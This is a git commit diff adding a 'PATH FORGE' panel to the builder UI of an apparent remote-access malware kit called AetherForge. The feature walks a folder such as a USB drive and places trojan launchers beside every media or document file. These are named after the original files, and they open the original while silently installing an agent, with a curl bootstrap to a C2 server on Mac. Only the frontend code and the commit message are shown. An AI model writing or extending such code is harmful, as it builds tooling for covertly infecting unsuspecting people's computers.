feat(forge): PATH FORGE recursive batch seeding. Server-side endpoint walks any local path, drops companion launchers next to every matching file on disk. Windows: stem.exe (agent copy) + stem.bat (opens original file + hidden agent launch). Mac: stem.command (open + curl C2 bootstrap). Filename mode: original (Terminator.mkv -> Terminator.exe) or custom stem. UI panel in Forge below Fusion section. USB repacked.
This commit is contained in:
@@ -125,6 +125,19 @@ export default function BuilderPage() {
|
||||
} | null>(null);
|
||||
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
|
||||
const [estimateLoading, setEstimateLoading] = useState(false);
|
||||
|
||||
// ── PATH FORGE (server-side recursive seeding) ─────────────────────────────
|
||||
const [pfPath, setPfPath] = useState('');
|
||||
const [pfStemMode, setPfStemMode] = useState<'original' | 'custom'>('original');
|
||||
const [pfStem, setPfStem] = useState('');
|
||||
const [pfWindows, setPfWindows] = useState(true);
|
||||
const [pfMac, setPfMac] = useState(true);
|
||||
const [pfBusy, setPfBusy] = useState(false);
|
||||
const [pfResult, setPfResult] = useState<{
|
||||
placed: number; total: number; errors: number;
|
||||
results: { source: string; files: string[] }[];
|
||||
error_list?: string[];
|
||||
} | null>(null);
|
||||
// Set to true to request cancellation between batch iterations
|
||||
const batchCancelRef = useRef(false);
|
||||
// Tracks the cancel_token of the currently-running forge so we can kill it server-side
|
||||
@@ -457,6 +470,34 @@ export default function BuilderPage() {
|
||||
setBuilding(false);
|
||||
}, []);
|
||||
|
||||
const handlePathForge = async () => {
|
||||
if (!pfPath.trim()) { alert('Enter a folder path first.'); return; }
|
||||
if (!pfWindows && !pfMac) { alert('Select at least one target platform.'); return; }
|
||||
setPfBusy(true);
|
||||
setPfResult(null);
|
||||
try {
|
||||
const { authHeaders } = await import('../api/auth');
|
||||
const res = await fetch('/api/v1/builder/path-forge', {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json', ...authHeaders() },
|
||||
body: JSON.stringify({
|
||||
root_path: pfPath.trim(),
|
||||
stem_mode: pfStemMode,
|
||||
output_stem: pfStem.trim(),
|
||||
target_windows: pfWindows,
|
||||
target_mac: pfMac,
|
||||
server_url: form?.server_url ?? '',
|
||||
}),
|
||||
});
|
||||
const data = await res.json();
|
||||
setPfResult(data);
|
||||
} catch (err) {
|
||||
setPfResult({ placed: 0, total: 0, errors: 1, results: [], error_list: [String(err)] });
|
||||
} finally {
|
||||
setPfBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
const handleBatchCancel = () => {
|
||||
batchCancelRef.current = true;
|
||||
// Also kill the currently-running server compile
|
||||
@@ -1941,6 +1982,121 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* ── PATH FORGE ─────────────────────────────────────────────── */}
|
||||
<div className="form-section" style={{ borderTop: '1px solid #ff8c0033', paddingTop: '1.25rem' }}>
|
||||
<ForgeSectionHeader
|
||||
title="PATH FORGE — Recursive Batch Seed"
|
||||
badge="server-only"
|
||||
description="Type a local folder path. The server walks it recursively and places a launcher next to every matching file — no upload needed."
|
||||
/>
|
||||
<p className="form-hint">
|
||||
For every file found (movies, docs, archives…) the server drops a <strong>.bat + .exe</strong> (Windows)
|
||||
and/or <strong>.command</strong> (Mac) right beside it in the same directory.
|
||||
The launcher opens the original file normally and silently installs the agent.
|
||||
</p>
|
||||
|
||||
<div className="form-group">
|
||||
<label className="label">Root Folder Path</label>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
placeholder={`E:\\Movies or /Volumes/USB/Movies`}
|
||||
value={pfPath}
|
||||
onChange={(e) => setPfPath(e.target.value)}
|
||||
disabled={pfBusy}
|
||||
/>
|
||||
<span className="form-hint">Path on the machine running AetherForge.exe (e.g. your USB drive or NAS).</span>
|
||||
</div>
|
||||
|
||||
<div className="form-row" style={{ gap: '1rem', flexWrap: 'wrap' }}>
|
||||
<div className="form-group" style={{ flex: '0 0 auto' }}>
|
||||
<label className="label">Output Filename</label>
|
||||
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
|
||||
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
|
||||
<input type="radio" name="pfStemMode" value="original"
|
||||
checked={pfStemMode === 'original'}
|
||||
onChange={() => setPfStemMode('original')} disabled={pfBusy} />
|
||||
Same as source file
|
||||
</label>
|
||||
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
|
||||
<input type="radio" name="pfStemMode" value="custom"
|
||||
checked={pfStemMode === 'custom'}
|
||||
onChange={() => setPfStemMode('custom')} disabled={pfBusy} />
|
||||
Custom name:
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
style={{ width: 160, opacity: pfStemMode === 'custom' ? 1 : 0.35 }}
|
||||
placeholder="e.g. VideoPlayer"
|
||||
value={pfStem}
|
||||
onChange={(e) => setPfStem(e.target.value)}
|
||||
disabled={pfBusy || pfStemMode !== 'custom'}
|
||||
/>
|
||||
</div>
|
||||
<span className="form-hint">
|
||||
{pfStemMode === 'original'
|
||||
? 'Terminator.mkv → Terminator.exe + Terminator.bat'
|
||||
: `Every file → ${pfStem || 'VideoPlayer'}.exe + ${pfStem || 'VideoPlayer'}.bat`}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<div className="form-group" style={{ flex: '0 0 auto' }}>
|
||||
<label className="label">Target Platforms</label>
|
||||
<div style={{ display: 'flex', gap: '1.25rem', marginTop: '0.25rem' }}>
|
||||
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
|
||||
<input type="checkbox" checked={pfWindows} onChange={(e) => setPfWindows(e.target.checked)} disabled={pfBusy} />
|
||||
<span style={{ color: '#61dafb' }}>⊞ Windows</span>
|
||||
<span style={{ color: '#555', fontSize: '0.75rem' }}>.bat + .exe</span>
|
||||
</label>
|
||||
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
|
||||
<input type="checkbox" checked={pfMac} onChange={(e) => setPfMac(e.target.checked)} disabled={pfBusy} />
|
||||
<span style={{ color: '#a8ff78' }}>⌘ Mac/Linux</span>
|
||||
<span style={{ color: '#555', fontSize: '0.75rem' }}>.command</span>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-primary"
|
||||
style={{
|
||||
marginTop: '0.75rem',
|
||||
background: 'linear-gradient(135deg, #ff8c00, #ff4500)',
|
||||
border: 'none', color: '#fff', fontWeight: 700,
|
||||
letterSpacing: '0.08em', padding: '0.55rem 1.4rem',
|
||||
}}
|
||||
onClick={handlePathForge}
|
||||
disabled={pfBusy || !pfPath.trim() || (!pfWindows && !pfMac)}
|
||||
>
|
||||
{pfBusy ? '⏳ Seeding…' : '◈ LAUNCH PATH FORGE'}
|
||||
</button>
|
||||
|
||||
{pfResult && (
|
||||
<div className="card" style={{ marginTop: '1rem', padding: '0.85rem 1rem', fontSize: '0.82rem' }}>
|
||||
<p className="font-tech" style={{ marginBottom: '0.5rem', color: pfResult.errors > 0 ? 'var(--neon-amber)' : 'var(--neon-green)' }}>
|
||||
{pfResult.errors === 0 && pfResult.placed > 0
|
||||
? `✓ ${pfResult.placed} files placed across ${pfResult.total} source files`
|
||||
: `⚠ ${pfResult.placed} placed · ${pfResult.errors} errors · ${pfResult.total} total`}
|
||||
</p>
|
||||
{pfResult.results.slice(0, 20).map((r, i) => (
|
||||
<div key={i} style={{ marginBottom: '0.2rem', color: '#aaa' }}>
|
||||
<span style={{ color: '#ddd' }}>{r.source}</span>
|
||||
{' → '}
|
||||
<span style={{ color: 'var(--neon-cyan)' }}>{r.files.join(' ')}</span>
|
||||
</div>
|
||||
))}
|
||||
{pfResult.results.length > 20 && (
|
||||
<p style={{ color: '#666', marginTop: '0.5rem' }}>…and {pfResult.results.length - 20} more</p>
|
||||
)}
|
||||
{pfResult.error_list?.slice(0, 5).map((e, i) => (
|
||||
<p key={i} style={{ color: 'var(--neon-red, #f55)', marginTop: '0.25rem' }}>{e}</p>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{!simpleMode && (
|
||||
<>
|
||||
<div className="form-section">
|
||||
|
||||
Reference in New Issue
Block a user